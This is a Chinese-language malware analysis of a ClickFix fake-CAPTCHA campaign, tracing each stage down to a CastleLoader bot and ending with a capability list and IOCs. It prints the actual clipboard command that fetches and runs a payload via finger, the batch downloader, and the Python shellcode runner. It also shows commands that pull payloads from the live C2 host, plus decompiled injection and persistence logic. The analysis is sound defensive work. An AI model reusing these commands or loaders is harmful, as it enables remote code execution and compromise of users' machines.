1. 前言
本文记录了一次典型的 ClickFix 样本从最外层模式到内层载荷完整分析的具体流程。ClickFix 是一种利用人类自身认知弱点进行攻击的手段,一般通过网络页面进行传播,伪造成各种验证码验证界面,实际却要求人去执行正常验证码根本不会经历的高危操作,比如打开cmd、powershell等windows本地高权限命令执行程序。ClickFix 网页在按下“我不是机器人”按钮的瞬间将伪造成验证码的恶意载荷下载链接复制到剪贴板,然后要求用户在各种能运行命令的窗口粘贴并执行,下载远程的恶意载荷到本地并运行从而完成感染。
2. 样本最外层网页模式
本次遇到的 ClickFix 页面伪造成了Cloudflare的验证码:

在按下按钮后,复制到剪贴板的一阶段命令为:
1
| """%COMSPEC%""" /c s^t^a^r^t "" /min for /f "skip=16 delims=" %d in ('f^^i^^n^^g^^e^^r fGOPzWUAOf@homveraahub.com') do %d & echo ' ---Verify ----------------press ENTER--- '
|
该命令从finger://homveraahub[.]com:79/fGOPzWUAOf获取载荷,然后进行for /f "skip=16 delims=" %d in (...) do %d,即从第 17 行开始,每一行都赋值给 %d,再用do %d把这一行直接当成 Windows 命令执行。
3. 逐层获取恶意载荷
接下来在隔离的Linux虚拟机环境下安全获取第二阶段的载荷:
1 2 3
| mkdir -p sample cd sample printf 'fGOPzWUAOf\r\n' | nc -w 10 homveraahub.com 79 | tee finger_raw.txt
|
获取到第二阶段的载荷:
1 2 3 4 5 6 7 8 9 10 11 12
| call set "XJsKVTebpCGMBTbk=%LocalAppData%\%random%%random%%random%%random%.com" call set "pISFKrsALURpggqA=%LocalAppData%\IronPython.3.4.2" call set "YgVUIEbvoQTOBRUG=%random%%random%%random%.exe" call mkdir "%pISFKrsALURpggqA%" 2>nul call copy /Y "%SystemRoot%\System32\curl.exe" "%XJsKVTebpCGMBTbk%" call taskkill /f /im expl* call "%XJsKVTebpCGMBTbk%" -s -L --tlsv1.2 --ssl-no-revoke -o "%pISFKrsALURpggqA%.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip call tar -xf "%pISFKrsALURpggqA%.pdf" -C "%pISFKrsALURpggqA%" call rename "%pISFKrsALURpggqA%\net462\ipyw32.exe" "%YgVUIEbvoQTOBRUG%" call "%pISFKrsALURpggqA%\net462\%YgVUIEbvoQTOBRUG%" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJydk91KA0EMhb/rPoXghfWiW7dQWwUfQV9Bat3FQv9sd8XHl4EvEErF4kXITE5OcpKdvQaOwAvwDCyADngABsAK2AB7YAccxK/kFVtfkNslvLkgv/e+1kruG1AZLzU+zWvU0Vk36yr5r8Ay8WLGRuzdcyvWy+3EPzx3aj2mmkX3NtX7TjM8ndnTJXp6a34ZOzh/q2/U/JeGgXjW8t+9Vifcnbto7D0Ebn7Z1SMw1rZyV86wS32jT8y0kXNvbviJvgZmwCjFy/3O2NR3vJRbYnPnnYkHt5VXa4sUm6tv6nl88m2OzhPfoXYXtyd7XdhrmLB4ezFz3GOfvXtpk/6oPTjzX1XprTXa3noT8Trx472EhqG+4D96C1rs')).decode('utf-32')])" call start explorer.exe call exit /b
|
可以看到其中下载了python环境并运行了一段python代码,其中base64+zlib压缩+utf32编码的载荷解密后通向下一阶段的载荷地址:https://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version1。获取第三层载荷:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| mkdir -p sample cd sample
DOMAIN='noidoret.com' PATH_='/6d6d2d17-d270-59c6-8b75-df011af08e58/version1'
curl --proto '=https' \ --tlsv1.2 \ --connect-timeout 10 \ --max-time 30 \ --location \ --fail \ --silent \ --show-error \ -D stage3.headers.txt \ -o stage3.py.txt \ "https://${DOMAIN}${PATH_}"
sha256sum stage3.py.txt > stage3.sha256.txt file stage3.py.txt sed -n '1,120p' stage3.py.txt
|
获取到的载荷为:
1 2
| import base64 exec(base64.b64decode("хW1wе3J0IHRМеWUNCmltcGНydCBjdHlwZXMNCg0KZGVmIHЦvclНkZWNyeXB0KGNМcGЦlcВRleHRfYВl0ZXMsIGtleV...dW5jdHlwZSЦwdHIМDQМmеigМ".replace('М', 'p').replace('х', 'a').replace('Н', '9').replace('В', 'n').replace('У', 'r').replace('е', 'b').replace('Ц', 'h')).decode('utf-8'))
|
可以看到是一个被混淆了的base64,解码后得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import time import ctypes
def xor_decrypt(ciphertext_bytes, key_bytes): decrypted_bytes = bytearray() key_length = len(key_bytes) for i, byte in enumerate(ciphertext_bytes): decrypted_byte = byte ^ key_bytes[i % key_length] decrypted_bytes.append(decrypted_byte) return bytes(decrypted_bytes)
shellcode = bytearray(xor_decrypt(base64.b64decode('8M9GaNwehC0++qsHypKpa1vLGRcdssG7VRaJtoQtPnQQnKxt7vzhvxlxlFEs0cIWzz08XT4SmXdDF3v8pDSgApQ3pS...WpbZ60sGCEvSXUd3PlwfVvVj7aYg='), base64.b64decode('pUSq6TDChC0+EpkRypIRA1vLGXGUNw=='))) ptr = ctypes.windll.kernel32.HeapAlloc(ctypes.windll.kernel32.HeapCreate(0x00040000, len(shellcode), 0), 0x00000008, len(shellcode)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) time.sleep(3) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) time.sleep(4) functype = ctypes.CFUNCTYPE(ctypes.c_void_p) fn = functype(ptr) fn()
|
发现这一层直接存储了一个加密的shellcode,脚本将其解密后直接用Windll执行了这一段shellcode,用脚本解密shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import base64 import hashlib import re from pathlib import Path
src = Path("stage3 payload.txt").read_text(encoding="utf-8", errors="replace") m = re.search(r'base64\.b64decode\("(.*)"\.replace\(', src, re.S) outer = m.group(1) mapping = {"М": "p","х": "a","Н": "9","В": "n","У": "r","е": "b","Ц": "h"} for k, v in mapping.items(): outer = outer.replace(k, v) decoded_py = base64.b64decode(outer).decode("utf-8", errors="replace") b64s = re.findall(r"base64\.b64decode\('([^']+)'\)", decoded_py) cipher = base64.b64decode(b64s[0]) key = base64.b64decode(b64s[1]) shellcode = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher)) Path("stage3_shellcode.bin").write_bytes(shellcode)
|
shellcode为32bit,共有8912字节,其中有15个函数,有轻微程度的混淆,且所有WinAPI相关函数都通过硬编码的API hash直接调用,能看出其中包含了硬编码的下载链接https://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1和动态构造的user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36,此外还有一个RC4解密函数,下载的callback1会使用前0x40字节作为密钥解密自身。安全下载callback1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| mkdir -p callback1 cd callback1
curl --proto '=https' \ --tlsv1.2 \ --connect-timeout 10 \ --max-time 60 \ --location \ --fail \ --silent \ --show-error \ -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \ -D callback1.headers.txt \ -o callback1.raw \ 'https://noidoret.com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1'
sha256sum callback1.raw | tee callback1.sha256.txt file callback1.raw xxd -l 128 callback1.raw
|
解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pathlib import Path import hashlib
def rc4(key: bytes, data: bytes) -> bytes: s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) & 0xff s[i], s[j] = s[j], s[i] i = j = 0 out = bytearray() for b in data: i = (i + 1) & 0xff j = (j + s[i]) & 0xff s[i], s[j] = s[j], s[i] k = s[(s[i] + s[j]) & 0xff] out.append(b ^ k) return bytes(out)
raw = Path("callback1.raw").read_bytes() key = raw[:0x40] enc = raw[0x40:] dec = rc4(key, enc) Path("callback1.decrypted.bin").write_bytes(dec)
|
解密后观察payload开头:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| seg000:00000000 jmp short loc_3A seg000:00000002 pop edi seg000:00000003 mov ecx, [edi] seg000:00000005 sub ecx, 0Ch seg000:00000008 mov esi, ecx seg000:0000000A xor ecx, ecx seg000:0000000C cmp ecx, esi seg000:0000000E jz short loc_2A seg000:00000010 mov eax, ecx seg000:00000012 mov ebx, 8 seg000:00000017 xor edx, edx seg000:00000019 div ebx seg000:0000001B lea ebx, [edi+edx+4] seg000:0000001F mov al, [ebx] seg000:00000021 lea ebx, [edi+ecx+0Ch] seg000:00000025 xor [ebx], al seg000:00000027 inc ecx seg000:00000028 jmp short loc_C seg000:0000002A lea eax, [edi+0Ch] seg000:0000002D mov ecx, [eax] seg000:0000002F lea eax, [edi+ecx+10h] seg000:00000033 lea edx, [edi+10h] seg000:00000036 push eax seg000:00000037 call edx seg000:00000039 retn seg000:0000003A call loc_2 seg000:0000003F dd 48804h ; length,正好是剩下的字节数 seg000:00000043 db 2Bh,0C6h,0DCh,0ECh, 8Ah, 6,0EAh, 1 ; 密钥 seg000:0000004B db 2Bh ; payload开头 seg000:0000004C db 0C8h ...后续为密文
|
注意到一段XOR自解密函数,密钥长度为8,密文长度为0x48804,解密后发现以下特征:加密区域是20个裸shellcode函数+真正的PE载荷,其中前20个函数是 x86 反射 PE Loader,它们负责把内嵌的 PE 文件正确映射到内存后跳到 PE 的入口点,执行路线大致为sub_4F -> sub_7AF -> sub_99F -> sub_ACF -> sub_C0F -> sub_D3F -> sub_DAF -> sub_DFF。提取最后的PE文件(起始地址位于0xE4F),接下来进行最内层载荷分析。
4. 内层载荷分析
内层载荷较为复杂,但有很多十分明显的特征:
C2通信特征
在data段中有大量RTTI / vtable:
1 2 3 4 5 6
| connection::containers::ContainerFieldBlob connection::containers::ContainerFieldStringA connection::containers::ContainerFieldStringW connection::containers::ContainerFieldInt32 connection::containers::ContainerFieldUint8 ...
|
应该是用于C2通信的数据类型相关定义,在其他函数的xref中也能看到解析不同 type 并创建对应 ContainerField* 对象的逻辑,例如 ContainerFieldBlob、ContainerFieldStringA/W、ContainerFieldInt64/Uint64 等,核心解析函数位于sub_402790。
Windll、API相关函数调用隐藏
程序中含有自实现的API hash查询调用、分类加载dll等函数,负责哈希查询的函数为sub_420E60,其部分函数哈希特征对应如下:
1 2 3 4 5 6 7 8 9 10 11 12
| CoInitializeEx -> 0xB68C3650 CoInitializeSecurity -> 0x35BE4658 CreateMutexW -> 0x392DA044 GetLastError -> 0x5886C22B ExitProcess -> 0x607048B2 CreateThread -> 0x7A27DBCB HeapAlloc -> 0xF886F994 SHGetFolderPathW -> 0x7068A692 PathAppendW -> 0xCB712BE0 CreateFileW -> 0x391B6225 WaitForSingleObject -> 0xFDB07F94 CoUninitialize -> 0xD883842C
|
sub_4210A0负责加载各种dll,其dll列表有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| HMODULE get_module_by_id(int id) { switch (id) { case 0: return get_or_load(L"ntdll.dll"); case 1: return get_or_load(L"kernel32.dll"); case 2: return get_or_load(L"ole32.dll"); case 3: return get_or_load(L"oleaut32.dll"); case 4: return get_or_load(L"user32.dll"); case 5: return get_or_load(L"advapi32.dll"); case 6: return get_or_load(L"shell32.dll"); case 7: return get_or_load(L"ws2_32.dll"); case 8: return get_or_load(L"shlwapi.dll"); case 9: return get_or_load(L"wininet.dll"); case 10: return get_or_load(L"winhttp.dll"); case 11: return get_or_load(L"psapi.dll"); case 12: return get_or_load(L"crypt32.dll"); case 13: return get_or_load(L"gdi32.dll"); case 14: return get_or_load(L"iphlpapi.dll"); default: return NULL; } }
|
内置加密算法
sub_401480是一个Chacha类流密码的核心函数,在临近的函数sub_402570中甚至能看到硬编码的明文字符串expand 32-byte k,在重要业务逻辑函数sub_403630(指令分发函数)中能看到其被调用,该函数位于C2通信解析函数sub_402790之后,因此C2通信的包体内容大概率是加密的,在程序中被解密后解析。
反分析与环境检查
CPUID 虚拟机检测
sub_401320 执行 cpuid 0x40000000,然后比较 hypervisor vendor 字符串。其中比较了硬编码的 VMware 字符串,推测其有反虚拟机功能,匹配后构造异常结构并调用动态解析出来的 ntdll 函数,从而中止程序。
语言 / 区域规避
sub_401100取某个系统值后& 0x3FF`,然后和一组数字比较:
1
| 25, 35, 63, 40, 67, 43, 44, 64, 55, 34
|
类似 Windows LANGID 的 primary language ID。命中后会检查一个解混淆出来的标记路径 / 文件,失败则触发异常。
安全软件枚举
字符串和sub_4108C0里出现:
1 2 3
| root\SecurityCenter2 WQL displayName
|
等杀毒软件相关名称,大概率会环境内杀毒软件类型并上报给 C2,或者根据环境决定后续 payload。
命令执行能力
字符串中直接出现了这些执行模板:
1 2 3 4 5 6 7 8
| /c " runas open -ExecutionPolicy Bypass -NoProfile -EncodedCommand "%s" -ExecutionPolicy Bypass -NoProfile -Command "%s" --headless %s cmd.exe -ExecutionPolicy Bypass -NoProfile -File "%s" %s
|
这些字符串都在命令执行相关函数中有xref,反编译里也能看到格式化:
1
| "-ExecutionPolicy Bypass -NoProfile -File \"%s\" %s"
|
然后进行 open 或 runas,因此其至少支持这些任务类型:
1 2 3 4 5 6 7
| 1. 普通 ShellExecute open 执行 2. ShellExecute runas 提权弹 UAC 3. cmd.exe /c 包裹执行 4. powershell -EncodedCommand 执行 5. powershell -Command 执行 6. powershell -File 执行本地脚本 7. 某种 --headless 参数的程序启动
|
sub_413B20 一类函数还会根据配置选择 runas 或 open,并可选择等待进程结束 / 关闭句柄。
文件落地、解压操作
导入表里有完整文件操作链:
1 2 3 4 5 6 7 8 9
| CreateDirectoryW CreateFileW ReadFile WriteFile SetFileTime GetFileAttributesW FindFirstFileExW FindNextFileW CloseHandle
|
并且解压相关函数里检查了:
1
| 67324752 == 0x04034B50 == ZIP local file header "PK\x03\x04"
|
说明其还内置 ZIP 解析 / 解压逻辑;另一个业务逻辑函数也有:若服务端 blob 不是 ZIP,就按普通文件写出;如果开头是 ZIP,则进入 sub_41FB60() 之类的解压路径。
因此其能做到:
1 2 3 4 5
| 1. 从 C2 接收原始文件 blob 2. 写入磁盘 3. 设置文件时间 SetFileTime 伪装时间戳 4. 如果是 ZIP,则解压多个文件 5. 枚举目录内容
|
持久化能力
导入表中有 CoCreateInstance,并且 xref 明确指向 sub_41A6E0 / sub_41AF30,类似 Windows Task Scheduler COM API,能创建计划任务进行持久化,相邻函数 sub_41AF30 可能是查询 / 删除 / 修改任务。相关逻辑链大致为:
1 2 3 4 5 6 7 8 9
| CoCreateInstance(TaskScheduler) ↓ ITaskService::Connect ↓ GetFolder / NewTask ↓ 设置 Action / Trigger / Principal ↓ RegisterTaskDefinition
|
进程注入 / PE 内存执行能力
程序中还有:
1 2 3 4 5 6 7 8
| CreateProcessW VirtualAllocEx WriteProcessMemory ReadProcessMemory MZ / PE 文件头检查 relocation type 1 / 2 / 3 写入远程进程内存 设置线程上下文 / 恢复线程
|
sub_417750存在创建进程,在目标进程里申请内存、写入 payload,随后判断类型,再按 relocation type 修正远程内存中的 PE的能力。因此其还支持process hollowing / PE injection:
1 2 3 4 5
| 1. 创建挂起进程 2. 把 PE payload 写入远程进程 3. 修 relocation 4. 修改入口点 / 线程上下文 5. 恢复执行
|
总体逻辑
main在还原后大致可写为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| int main(int argc, const char **argv, const char **envp) { Config *cfg; C2Result *result = NULL; HANDLE worker_thread = NULL; WCHAR *marker_path; ole32_CoInitializeEx(NULL, 0); ole32_CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); locale_geofence_marker_check(); cfg = build_or_decode_config(); kernel32_CreateMutexW(NULL, FALSE, cfg->mutex_name); if (kernel32_GetLastError() == ERROR_ALREADY_EXISTS) { kernel32_ExitProcess(0); } result = NULL; if (c2_request_and_parse_packet(&result, cfg)) { if (result->flags[3] && !g_worker_thread) { g_worker_thread = kernel32_CreateThread(NULL, 0, worker_thread_proc , NULL, 0, NULL); } if (result->flags[1]) { check_hypervisor_vendor_and_abort() ; } if (result->flags[2]) { cfg = build_or_decode_config(); marker_path = kernel32_HeapAlloc(g_heap, 0, 520); if (marker_path) { if (shell32_SHGetFolderPathW(NULL,CSIDL_COMMON_APPDATA,NULL,0,marker_path)>=0){ shlwapi_PathAppendW(marker_path, cfg->marker_name); HANDLE h = kernel32_CreateFileW(marker_path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL); if (h == INVALID_HANDLE_VALUE) { kernel32_CreateFileW(marker_path, GENERIC_ALL, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); } else { kernel32_ExitProcess(0); } } free_wrapper(marker_path); } } if (result->flags[0]) { run_cmd_wrapper(); } command_dispatcher(&result, inject_pe_into_process , cfg); if (result->flags[3] && g_worker_thread) {kernel32_WaitForSingleObject(g_worker_thread, INFINITE);} } ole32_CoUninitialize(); kernel32_ExitProcess(0); }
|
即:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def main(): init_heap_and_api_resolver() check_locale_geofence() parse_initial_config() if config.enable_worker_thread: CreateThread(worker_beacon_thread) if config.enable_vm_check: check_hypervisor_vendor_and_abort() if config.enable_file_or_persistence: prepare_path_or_dropper() if config.enable_shell_task: execute_local_command() command_loop(): request = build_GET_or_POST() response = http_send(request) packet = parse_ContainerField(response) decrypted = chacha_decrypt(packet.blob) dispatch_command(decrypted)
|
文字逻辑大致是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 1. COM 初始化 2. COM 安全初始化 3. 区域 / 语言 / marker 检查 4. 解析配置 5. 创建互斥体,防止重复运行 6. 拉取 C2 配置 / 任务包 7. 根据 C2 flag: - 启动 worker thread - 执行 anti-VM 检查 - 在 Common AppData 下检查/创建 marker 文件 - 执行本地命令逻辑 8. 进入 command dispatcher 9. 必要时等待 worker thread 10. CoUninitialize 11. ExitProcess
|
因此可以推断出这个内层载荷的作用是与远端C2服务器通信并动态获取任务,真正要执行的任务均由远端C2服务器下发,推测这是一个泛用的自动化 bot / task runner,后续进一步的检测将其归类为CastleLoader。
5. 样本整体感染链路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 1. fake CAPTCHA / ClickFix 页面 ↓ 2. 剪贴板写入 cmd payload ↓ 3. 执行 finger fGOPzWUAOf@homveraahub[.]com ↓ 4. Finger 返回 batch 二阶段脚本 ↓ 5. 下载 IronPython 3.4.2,伪装为 .pdf 解压 ↓ 6. 运行重命名后的 ipyw32.exe ↓ 7. Python 解密并执行 stage3 payload ↓ 8. stage3 释放 x86 shellcode ↓ 9. shellcode 请求 noidoret[.]com/.../callback1 ↓ 10. callback1.raw:RC4 解密 ↓ 11. XOR 解包得到 loader + PE32 ↓ 12. 反射加载 PE32 ↓ 13. CastleLoader/Bot 客户端运行,连接 C2 获取任务
|
6. 恶意能力清单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| [多阶段加载与反射加载] - fake CAPTCHA 社工诱导命令执行 - Finger 协议拉取二阶段 batch - 借用合法 IronPython 运行环境 - Python base64 / zlib / utf-32 / 字符替换混淆 - x86 shellcode 内存执行 - callback1.raw RC4 解密 - 二层 XOR 解包 - 内嵌 PE32 反射加载 - PE 外层 loader 手动修复 import、relocation、TLS callback 并跳转 OEP
[C2通信与任务分发] - HTTP / HTTPS C2 通信 - 连接 noidoret[.]com - 自定义 ContainerField 二进制协议 - 支持 GET / POST - 支持响应包解析、字段反序列化 - C2 返回 flag 后控制本地行为
[加密与数据处理] - RC4 - ChaCha / Salsa20 风格流加密 - XOR 编码 - HMAC - CRC32 / Adler32 - 自定义 API hash - 栈字符串和参数混淆
[动态API解析] - 遍历 PEB Ldr 链表 - 通过 DLL 名称 hash 定位模块 - 解析 PE Export Table - 对导出函数名计算自定义 hash - 按 hash 动态解析 API - 支持 forwarded export
[反分析与环境探测] - IsDebuggerPresent - OutputDebugStringW - CPUID 虚拟机检测 - 检查处理器厂商/虚拟化常量 - long sleep - 异常/SEH 干扰 - WMI 查询安全软件 - 语言 / 区域 geofence - 通过 WMI 连接 root\SecurityCenter2 - 执行 SELECT * FROM AntivirusProduct - 枚举本机 AntiVirus 产品 displayName
[命令执行能力] - cmd.exe /c - ShellExecute open - ShellExecute runas - PowerShell -ExecutionPolicy Bypass -NoProfile -EncodedCommand - PowerShell -ExecutionPolicy Bypass -NoProfile -Command - PowerShell -ExecutionPolicy Bypass -NoProfile -File - 支持 headless 参数启动某些程序
[文件落地与文件系统操作] - 创建目录 - 检查文件属性 - 读文件 - 写文件 - 设置文件时间 SetFileTime - 枚举目录 - ZIP 解包逻辑 - 创建 marker 文件
[持久化能力] - Task Scheduler COM - CoCreateInstance 创建 ITaskService - ITaskService::Connect - 创建 / 管理计划任务
[后续载荷执行 / 进程注入] - 创建进程 - 写入远程进程内存 - PE header 解析 - section 映射 - relocation 修复 - 恢复执行 - 具备 process hollowing / PE injection 能力
|
7. IOC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| Final carved PE SHA-256: 77fade440644b41fa84b5521858500f8c4a683ea094d9e12f182a812eeea725b
MD5: 2c71dc0418df45867f5b2b2e69196bda
SHA-1: b01150876e843520a604df8b9b16def8f452c265
Imphash: 87859727be23746ec60b2674e7b69c73
Authentihash: 2aaa33db414bae774151e925d48a4bb28227ee7bdd5d62805bd2329a771fd8ae
Rich PE header hash: af9f3962daf14230ac1aa6643e5ba46f
File type: PE32 executable GUI, Intel 80386
Architecture: x86 / 32-bit
File size: 293376 bytes / 286.50 KB
Compilation timestamp: 2026-04-30 15:01:31 UTC
Entry Point: RVA 0x22592
Sections: .text .rdata .data .fptable .rsrc .reloc
Imports: KERNEL32.dll USER32.dll ole32.dll OLEAUT32.dll
Popular threat label: trojan.zusy/ahls
Family labels: zusy ahls castle
Representative detections: Elastic: Windows.Trojan.CastleLoader Microsoft: Trojan:Win32/CastleLoader.MK!MTB AhnLab-V3: Downloader/Win.Agent.R741707 ESET-NOD32: Win32/Agent.AHLS Trojan Fortinet: W32/Agent.AHLS!tr DrWeb: Trojan.PWS.Steam.39135 BitDefender: Gen:Variant.Zusy.597674 GData: Gen:Variant.Zusy.597674 VIPRE: Gen:Variant.Zusy.597674
Initial Finger stage: homveraahub[.]com
Finger query: fGOPzWUAOf@homveraahub[.]com
C2 domain: noidoret[.]com
Observed IP: 50.114.167[.]195
DNS: 8.8.8.8
Observed / extracted URLs: hxxps://noidoret[.]com/ hxxps://noidoret[.]com/5 hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version1 hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1 hxxps://noidoret[.]com/f4ba4ea2-6c8c-5060-ae67-259dc376c56f hxxps://noidoret[.]com/f4ba4ea2-6c8c-5060-ae67-259dc376c56f/32debe66-d0de-51b3-8abc-db555b72fb4a
%LocalAppData%\IronPython.3.4.2 %LocalAppData%\IronPython.3.4.2.pdf %LocalAppData%\[random][random][random][random].com %LocalAppData%\IronPython.3.4.2\net462\[random][random][random].exe
C:\ProgramData\iwD11Lmhnljrg5EvEBMS2b C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Sandbox opened / suspicious side-loading paths: C:\Users\<USER>\Desktop\DPAPI.DLL C:\Users\<USER>\Desktop\Wldp.dll C:\Users\<USER>\Desktop\ncrypt.dll
Mutex / marker: iwD11Lmhnljrg5EvEBMS2b \Sessions\1\BaseNamedObjects\iwD11Lmhnljrg5EvEBMS2b
WMI IOC: Namespace: root\SecurityCenter2 Query: SELECT * FROM AntivirusProduct Process: wmiprvse.exe -secured -Embedding
command / behavior: cmd.exe /c PowerShell -ExecutionPolicy Bypass -NoProfile -EncodedCommand PowerShell -ExecutionPolicy Bypass -NoProfile -Command PowerShell -ExecutionPolicy Bypass -NoProfile -File ShellExecuteW verb: open ShellExecuteW verb: runas --headless
Network TLS / JA3: JA3: cbcd1d81f242de31fd683d5acbc70dca db95a4cb23548a635a1dfebcee9991cb 3c293bdf2a25c07559b560ba86debc77
Crowdsourced IDS: ET INFO TLS Handshake Failure
|
相关样本已上传Virus Total,可进行访问查看。
8. 总结
该样本属于多阶段 ClickFix 感染链中的 CastleLoader/CastleBot 相关通用 Loader/Bot。初始阶段通过伪装验证码诱导用户执行剪贴板命令,随后利用 Finger 协议获取远程 batch 脚本,并借助 IronPython 执行后续混淆 Python 载荷。Python 阶段释放 x86 shellcode,连接 noidoret[.]com 下载 callback1 加密 blob。该 blob 经过 RC4 和 XOR 解密后得到内嵌 PE32,外层 loader 对其进行反射加载并跳转执行。最终 PE 具备 C2 通信、动态 API hash 解析、WMI 安全软件枚举、反调试、CPUID 反虚拟机、计划任务持久化、文件落地、命令执行、PowerShell 执行、ZIP 解包、进程注入和后续 payload 执行能力,是全面的通用后续任务加载器。